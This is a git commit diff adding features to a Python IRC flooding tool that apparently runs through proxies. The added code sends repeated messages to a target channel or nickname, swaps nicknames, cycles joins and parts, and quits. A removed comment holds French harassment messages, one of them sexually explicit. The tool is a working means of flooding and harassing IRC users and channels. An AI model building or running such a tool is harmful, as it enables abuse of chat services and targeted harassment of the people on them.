add more flood stuff
This commit is contained in:
@@ -52,8 +52,7 @@ def socks4_resolve(srvname, server_port):
|
||||
|
||||
def flood(sock):
|
||||
nick = random.choice(nicklist)
|
||||
#msgs = [ "coucou c'est papa, pourquoi tu m'ignores?", "c'est papa, pourquoi tu es partie?", "gniagniagnia harcelement", "arrete de geindre", "coucou tu veux voir ma bite? (ps: c'est papa)" ]
|
||||
msgs = config.flood.message.split(';')
|
||||
if config.flood.message is not None: msgs = config.flood.message.split(';')
|
||||
|
||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
||||
ticks = time.time()
|
||||
@@ -79,18 +78,37 @@ def flood(sock):
|
||||
if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target:
|
||||
sock.send('JOIN %s\r\n' % config.flood.target)
|
||||
|
||||
if config.flood.change_nick:
|
||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||
else:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
# target is a nick
|
||||
elif config.flood.message is not None:
|
||||
if config.flood.change_nick:
|
||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||
else:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
|
||||
if config.flood.once:
|
||||
sock.send('QUIT\r\n')
|
||||
|
||||
|
||||
# end of names list (joined a chan)
|
||||
elif _split[1] == '366':
|
||||
if config.flood.message is not None:
|
||||
if config.flood.change_nick:
|
||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||
else:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
if config.flood.cycle:
|
||||
sock.send('PART %s\r\nJOIN %s\r\n)' % (_split[3], _split[3]))
|
||||
time.sleep(1)
|
||||
|
||||
elif config.flood.once:
|
||||
sock.send('QUIT\r\n')
|
||||
|
||||
# nick already used
|
||||
elif _split[1] == '433':
|
||||
sock.send('NICK %s\r\n' % random.choice(nicknames))
|
||||
|
||||
sock.disconnect()
|
||||
return
|
||||
|
||||
try: sock.disconnect()
|
||||
except: pass
|
||||
|
||||
class WorkerJob():
|
||||
def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False):
|
||||
@@ -429,8 +447,6 @@ if __name__ == '__main__':
|
||||
|
||||
config.load()
|
||||
|
||||
#config.flood.threads = config.flood.threads * config.flood.clones
|
||||
|
||||
w = Proxywatchd()
|
||||
try:
|
||||
w.start()
|
||||
|
||||
Reference in New Issue
Block a user